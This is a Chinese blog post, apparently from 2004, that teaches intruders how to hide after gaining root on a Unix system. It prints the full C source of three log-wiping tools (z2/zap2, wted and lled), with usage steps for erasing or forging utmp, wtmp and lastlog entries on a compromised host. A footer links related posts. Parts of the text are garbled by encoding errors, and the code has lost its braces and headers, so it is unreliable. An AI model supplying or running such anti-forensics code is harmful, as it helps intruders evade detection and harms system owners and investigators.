进入系统后如何隐藏自己

原创 2004年08月29日 20:24:00
进入系统后如何隐藏自己
Zap2 (清除 wtmp/lastlog/utmp记录) 

网络上有很多不同的日志清除程序,其中最好的是zap2。我编译后称为z2 
在你获得root的访问权后立即运行z2这个程序。这个程序执行的非常快。
你可以使用finger @host.xxx来查看当前有说锹剂耍邢腹鄄煲幌聄oot或admin的idle time(空闲时间)
来猜测他们是否离开主机了。
Login, ?ú????oóá¢?′ê?è?wà′2é?′idle timeoí???úóD?????á??£ ????ó?"w"2é?′??í3oí??ê?è?ê1
×??o3é?aroot???üá?ê?2??üí?ê±??DD???£ò?????????á?root??·??ê訣?á¢?′ê?è? ./z2 ??????
??í3?ùó???ó??§???£ 
现在你比刚才就安全多了。现在再用"w"或"who"命令来查看一下,你已静换岜籾tmp记录了。如果你要使
用 ftp或其它的一些命令你可能就会用到我在本章中提供的另外两个程序 wted 和 lled。 
我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修改z2.c,使其包含这些
文件的正确路径。
下面是在文件头部的需要你修改的部分。
#define WTMP_NAME "/usr/adm/wtmp" 
#define UTMP_NAME "/etc/utmp" 
#define LASTLOG_NAME "/usr/adm/lastlog" 
在有些系统中应该是:
#define WTMP_NAME "/var/adm/wtmp" 
#define UTMP_NAME "/var/adm/utmp" 
#define LASTLOG_NAME "/var/adm/lastlog" 

但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目录也是很可能的一个路径。
修改好正确的文件路径后,编译这个文件,现在你登录之后运行z2,你就已比较安全了。
这里是c程序:
z2.c 
--------------------------- cut here 
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#define WTMP_NAME "/usr/adm/wtmp" 
#define UTMP_NAME "/etc/utmp" 
#define LASTLOG_NAME "/usr/adm/lastlog" 

int f; 

void kill_utmp(who) 
char *who; 

struct utmp utmp_ent; 

if ((f=open(UTMP_NAME,O_RDWR))>=0) { 
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) 
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
bzero((char *)&utmp_ent,sizeof( utmp_ent )); 
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); 
write (f, &utmp_ent, sizeof (utmp_ent)); 

close(f); 



void kill_wtmp(who) 
char *who; 

struct utmp utmp_ent; 
long pos; 

pos = 1L; 
if ((f=open(WTMP_NAME,O_RDWR))>=0) { 

while(pos != -1L) { 
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); 
if (read (f, &utmp_ent, sizeof (struct utmp))<0) { 
pos = -1L; 
} else { 
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
bzero((char *)&utmp_ent,sizeof(struct utmp )); 
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); 
write (f, &utmp_ent, sizeof (utmp_ent)); 
pos = -1L; 
} else pos += 1L; 


close(f); 



void kill_lastlog(who) 
char *who; 

struct passwd *pwd; 
struct lastlog newll; 

if ((pwd=getpwnam(who))!=NULL) { 

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { 
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); 
bzero((char *)&newll,sizeof( newll )); 
write(f, (char *)&newll, sizeof( newll )); 
close(f); 


} else printf("%s: ?/n",who); 


main(argc,argv) 
int argc; 
char *argv[]; 

if (argc==2) { 
kill_lastlog(argv[1]); 
kill_wtmp(argv[1]); 
kill_utmp(argv[1]); 
printf("Zap2!/n"); 
} else 
printf("Error./n"); 

--------------------------- cut here 


--------------------------------------------------------------------------------

其它脚本程序 

我们开始本章的另一部分。我们假设你登录并执行了z2,你需要进行ftp来抓一个文件(记住,象第一
章所说的,不要ftp或telent出这个入侵的主机)。好了,你ftp进入系统抓取几个文件,或登录到系统
的其它帐户中,那现在你就要用到wted程序了。 wted程序允许你编紈tmp日志来清除你ftp留下的记录。
你也可能要用到lled (编糽astlog日志). 
你在修改日志的路径并编译wted程序后,输入 ./wted将会出现下面的菜单。
[8:25pm][/home/compile]wted 
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST 
-h This help 帮助
-f Use FILE instead of default 所使用的非默认文件
-a Show all entries found 显示所有的记录
-u Show all entries for USER 显示USER的所有记录
-b Show NULL entries 显示空记录
-e Erase USER completely 完全清除某用户的记录
-c Erase all connections containing HOST 清除从某主机来的所有记录
-z Show ZAP'd entries ??ê?ó?ZAP′|àí1y??????
-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1y??????
如果你ftp使用的用户名为 tsmith,你应这样使用 wted -x -e tsmith 
这个程序将显示用户tsmith登录的一个时间并询问你是否要删除它。在你删除你登录的记录后,记着
chmod 644 wtmp.tmp文件然后将其拷贝到日志文件的目录并覆盖岳吹奈募O笳庋? 
1. chmod 644 wtmp.tmp 
2. cp wtmp.tmp /var/adm/wtmp 
下面是wted程序:
重要:记着将char里面文件改成正确的路径。 
wted.c 
---------------------- cut here 
#include  
#include  
#include  
#include  
char *file="/var/adm/wtmp"; 
main(argc,argv) 
int argc; 
char *argv[]; 

int i; 
if (argc==1) usage(); 
for(i=1;i{ 
if(argv[i][0] == '-') 

switch(argv[i][1]) 

case 'b': printents(""); break; 
case 'z': printents("Z4p"); break; 
case 'e': erase(argv[i+1],0); break; 
case 'c': erase(0,argv[i+1]); break; 
case 'f': file=argv[i+1]; break; 
case 'u': printents(argv[i+1]); break; 
case 'a': printents("*"); break; 
case 'x': remnull(argv[i+1]); break; 
default:usage(); 




printents(name) 
char *name; 

struct utmp utmp,*ptr; 
int fp=-1; 
ptr=&utmp; 
if (fp=open(file,O_RDONLY)) 

while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) 

if ( !(strcmp(name,ptr->ut_name)) || (name=="*") || 
(!(strcmp("Z4p",name)) && (ptr->ut_time==0))) 
printinfo(ptr); 

close(fp); 


printinfo(ptr) 
struct utmp *ptr; 

char tmpstr[256]; 
printf("%s/t",ptr->ut_name); 
printf("%s/t",ptr->ut_line); 
strcpy(tmpstr,ctime(&(ptr->ut_time))); 
tmpstr[strlen(tmpstr)-1]='/0'; 
printf("%s/t",tmpstr); 
printf("%s/n",ptr->ut_host); 

erase(name,host) 
char *name,*host; 

int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
struct utmp utmp; 
unsigned char c; 
if (fp=open(file,O_RDONLY)) { 
fd=open("wtmp.tmp",O_WRONLY|O_CREAT); 
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { 
if (host) 
if (strstr(utmp.ut_host,host)) tot++; 
else {cnt++;write(fd,&utmp,sizeof(struct utmp));} 
if (name) { 
if (strcmp(utmp.ut_name,name)) {cnt++; 
write(fd,&utmp,sizeof(struct utmp));} 
else { 
if (n>0) { 
n--;cnt++; 
write(fd,&utmp,sizeof(struct utmp));} 
else 

printinfo(&utmp); 
printf("Erase entry (y/n/f(astforward))? "); 
c='a'; 
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); 
if (c=='f') { 
cnt++; 
write(fd,&utmp,sizeof(struct utmp)); 
printf("Fast forward how many entries? "); 
scanf("%d",&n);} 
if (c=='n') { 
cnt++; 
write(fd,&utmp,sizeof(struct utmp)); 

if (c=='y') tot++; 

} } 

close(fp); 
close(fd); 

printf("Entries stored: %d Entries removed: %d/n",cnt,tot); 
printf("Now chmod wtmp.tmp and copy over the original %s/n",file); 

remnull(name) 
char *name; 

int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
struct utmp utmp; 
if (fp=open(file,O_RDONLY)) { 
fd=open("wtmp.tmp",O_WRONLY|O_CREAT); 
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { 
if (utmp.ut_time) { 
cnt++; 
write(fd,&utmp,sizeof(struct utmp)); 

else 
tot++; 

close(fp); 
close(fd); 

printf("Entries stored: %d Entries removed: %d/n",cnt,tot); 
printf("Now chmod wtmp.tmp and copy over the original %s/n",file); 

usage() 

printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST/n"); 
printf("/t-h/tThis help/n"); 
printf("/t-f/tUse FILE instead of default/n"); 
printf("/t-a/tShow all entries found/n"); 
printf("/t-u/tShow all entries for USER/n"); 
printf("/t-b/tShow NULL entries/n"); 
printf("/t-e/tErase USER completely/n"); 
printf("/t-c/tErase all connections containing HOST/n"); 
printf("/t-z/tShow ZAP'd entries/n"); 
printf("/t-x/tAttempt to remove ZAP'd entries completely/n"); 

---------------------- cut here 
你可能还需要清除/vat/adm/lastlog日志。 
这要用到lled.c程序。编译这个文件并命名为lled. 
你运行lled程序将会出现下面的菜单: 
[4:04am][/home/paris/compile]lled 
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST 
-h This help °??ú
-f Use FILE instead of default ê1ó????¨?????t′úì?è±ê???
-a Show all entries found ??ê?è?2?????
-u Show all entries for USER ??ê????¨ó??§??è?2?????
-b Show NULL entries ??ê???????
-e Erase USER completely è?2?é?3y???¨ó??§??????
-c Erase all connections containing HOST é?3y°üo????¨?÷?ú??è?2?????
-z Show ZAP'd entries ??ê?ó?ZAP′|àí1y??????
-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1y??????
你可以先用-u来看一下,很多时候你的用户名并没有记录下来,但会记录下你的主机,一般你可以这
样使用:(假设我进入系统时使用的主机名为machine.edit.com)
lled -e username -c machine.edit 
如果你要查看你的主机是否记录在lastlog日志的结尾,你应输入:lled -a 
使用chmod将 lastlog.tmp文件属性改为 644并象你使用上面的wted程序一样将其拷贝到日志文件的目
录中并覆盖岳吹奈募?
重要:将lastlog路径设置为你入侵的主机中的正确路径。
下面是lled.c: 
-------------------------- cut here 
#include  
#include  
#include  
#include  
char *file="/var/adm/lastlog"; 
main(argc,argv) 
int argc; 
char *argv[]; 

int i; 
if (argc==1) usage(); 
for(i=1;i{ 
if(argv[i][0] == '-') 

switch(argv[i][1]) 

case 'b': printents(""); break; 
case 'z': printents("Z4p"); break; 
case 'e': erase(argv[i+1]); break; 
case 'c': erase(0,argv[i+1]); break; 
case 'f': file=argv[i+1]; break; 
case 'u': printents(argv[i+1]); break; 
case 'a': printents("*"); break; 
case 'x': remnull(argv[i+1]); break; 
default:usage(); 




printents(name) 
char *name; 

struct lastlog utmp,*ptr; 
int fp=-1; 
ptr=&utmp; 
if (fp=open(file,O_RDONLY)) 

while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) 

if ( !(strcmp(name,ptr->ll_line)) || (name=="*") || 
(!(strcmp("Z4p",name)) && (ptr->ll_time==0))) 
printinfo(ptr); 

close(fp); 


printinfo(ptr) 
struct lastlog *ptr; 

char tmpstr[256]; 
printf("%s/t",ptr->ll_line); 
strcpy(tmpstr,ctime(&(ptr->ll_time))); 
tmpstr[strlen(tmpstr)-1]='/0'; 
printf("%s/t",tmpstr); 
printf("%s/n",ptr->ll_host); 

erase(name,host) 
char *name,*host; 

int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
struct lastlog utmp; 
unsigned char c; 
if (fp=open(file,O_RDONLY)) { 
fd=open("lastlog.tmp",O_WRONLY|O_CREAT); 
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { 
if (host) 
if (strstr(utmp.ll_host,host)) tot++; 
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));} 
if (name) { 
if (strcmp(utmp.ll_line,name)) {cnt++; 
write(fd,&utmp,sizeof(struct lastlog));} 
else { 
if (n>0) { 
n--;cnt++; 
write(fd,&utmp,sizeof(struct lastlog));} 
else 

printinfo(&utmp); 
printf("Erase entry (y/n/f(astforward))? "); 
c='a'; 
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); 
if (c=='f') { 
cnt++; 
write(fd,&utmp,sizeof(struct lastlog)); 
printf("Fast forward how many entries? "); 
scanf("%d",&n);} 
if (c=='n') { 
cnt++; 
write(fd,&utmp,sizeof(struct lastlog)); 

if (c=='y') tot++; 

} } 

close(fp); 
close(fd); 

printf("Entries stored: %d Entries removed: %d/n",cnt,tot); 
printf("Now chmod lastlog.tmp and copy over the original %s/n",file); 

remnull(name) 
char *name; 

int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
struct lastlog utmp; 
if (fp=open(file,O_RDONLY)) { 
fd=open("lastlog.tmp",O_WRONLY|O_CREAT); 
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { 
if (utmp.ll_time) { 
cnt++; 
write(fd,&utmp,sizeof(struct lastlog)); 

else 
tot++; 

close(fp); 
close(fd); 

printf("Entries stored: %d Entries removed: %d/n",cnt,tot); 
printf("Now chmod lastlog.tmp and copy over the original %s/n",file); 

usage() 

printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST/n"); 
printf("/t-h/tThis help/n"); 
printf("/t-f/tUse FILE instead of default/n"); 
printf("/t-a/tShow all entries found/n"); 
printf("/t-u/tShow all entries for USER/n"); 
printf("/t-b/tShow NULL entries/n"); 
printf("/t-e/tErase USER completely/n"); 
printf("/t-c/tErase all connections containing HOST/n"); 
printf("/t-z/tShow ZAP'd entries/n"); 
printf("/t-x/tAttempt to remove ZAP'd entries completely/n"); 

---------------------------------------------------------------- cut here 
下面是个编辑tmp, wtmp和检查进程的很好的perl脚本程序。这个程序还允许你在wtmp日志中加入一行。
如果你想搞,你可以加入clinton(克林顿).whitehouse(白宫).gov logging into port ttyp3 并显示
他在系统中停留了几个小时!
使用检查功能,你可以知道是否有什么人登录到系统中而在utmp日志中又没有记录。系统管理员有时登
录后喜欢把自己隐藏起来,这个程序可以看到他们是否在线。你必须有root的权限来执行这个程序,这
个程序还需要5.003以上的版本才能运行。启动这个脚本程序后输入help。
下面是一些基本命令:
starts by loading wtmp 
delete user username 
delete host hostanme 
write 
read wtmp 
delete user username 
delete host hostname 
write 
使用help来查看其它的命令......这是最好的wtmp,wtmp编计鳎?
说声谢谢吧 ;)  

蹭网后,设置路由器隐藏自己

在LAN设置里面的dhcp服务,把地址池起始地址设置为100,然后吧自己的ip设置为2-99都可以,当然指的最后一位,然后在客户端列表里面是看不到自己的,这个感觉是tplink这个路由器的程序bug,...
  • bwlab
  • bwlab
  • 2016-03-07 14:41:13
  • 10833

如何隐藏自己的SSID_隐藏后怎样去连接它?

  • 2013年12月16日 19:26
  • 177KB
  • 下载

自己写操作系统2——进入保护模式

实模式下不能访问1M以上的内存,而且实模式不能提供内存保护。 启示开启实模式只要3个步骤 1.设置gdt全局描述符表 2.设置a20开始访问1M以上内存的必须步骤 3.设置cr0的pe为1,这...
  • pang68599
  • pang68599
  • 2013-11-30 14:29:49
  • 1100

蹭网就要隐藏自己

  • 2013年06月09日 22:26
  • 395KB
  • 下载

[iOS 自定义导航栏/导航条]隐藏系统导航条

先看效果第一种 代码里改变了导航条颜色第二种 固定导航颜色的其实这两个没什么区别,主要是封装了一个导航条NavigationBar 继承自UIView思路使用代码,实例化导航条(前提是已经在设置导航控...
  • iOSTianNan
  • iOSTianNan
  • 2017-03-10 17:43:44
  • 440

黑客进入服务器隐藏自己的方法

    在网络过载攻击中,一个共享的资源或者服务由于需要处理大量的请求,以至于无法满足从其他用户到来的请求。例如一个用户生成了大量的进程,那么其他用户就无法运行自己的进程。如果一个用户使用了大量的磁盘...
  • hiwish
  • hiwish
  • 2007-10-21 16:55:00
  • 1168

保密作战--在网络上隐藏自己

IP 云云等基本概念就不多介绍了, 直接切入主题。   在网络上隐藏自己,就是把IP地址和MAC网路地址隐藏或是变更就可以了, 具体有以下三个方法: 1.  隐藏IP Address 2....
  • oscar999
  • oscar999
  • 2011-10-06 09:52:15
  • 1474

设置开机不自动进入锁屏状态

设置开机不自动进入锁屏状态 实际上在android4.0.3上解决法子还是一样的,进入系统源码目录 frameworks/base/policy/src/com/andr...
  • u010164190
  • u010164190
  • 2016-01-21 22:15:22
  • 299

Excel2010 彻底隐藏工作表

Excel2010隐藏工作表最简单的方法是 选择视图下窗口选项卡中的隐藏按钮, 一下就可以把东西给隐藏了, 但是这种方法只能对付菜鸟,稍微等得一点Excel操作的人就知道可以通过点选视图下窗口选项卡中...
  • zhaoxiatengkong_1
  • zhaoxiatengkong_1
  • 2011-08-21 17:10:43
  • 6385

如何提升自己的技术/能力——兴趣篇

如何提升自己的技术/能力——兴趣篇 读于UC的软件工程师李运华的访谈有感 写在前面:说写心得是天方夜谭,毕竟自己还没有到能够传授经验心得的地步。仅以此文做一个系列文章的开头,并时刻警醒自己,学无止...
  • qinyufeng_lovehdq
  • qinyufeng_lovehdq
  • 2014-12-01 00:52:24
  • 424
收藏助手
不良信息举报
您举报文章:进入系统后如何隐藏自己
举报原因:
原因补充:

(最多只允许输入30个字)